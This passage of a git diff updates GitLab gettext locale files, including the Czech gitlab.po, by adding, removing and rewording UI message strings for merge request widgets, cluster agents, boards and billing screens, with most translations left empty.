-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index 71a54d483cf..249f926d295 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -373,6 +377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -464,6 +475,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -537,6 +555,12 @@ msgstr[3] "%s dalších commitů bylo vynecháno, aby se předešlo problémům
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -623,6 +647,13 @@ msgstr[3] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -966,6 +997,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1050,9 +1087,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1298,6 +1335,13 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1702,9 +1752,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2341,6 +2388,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,7 +2478,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3772,6 +3828,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr "Přiřadit k"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
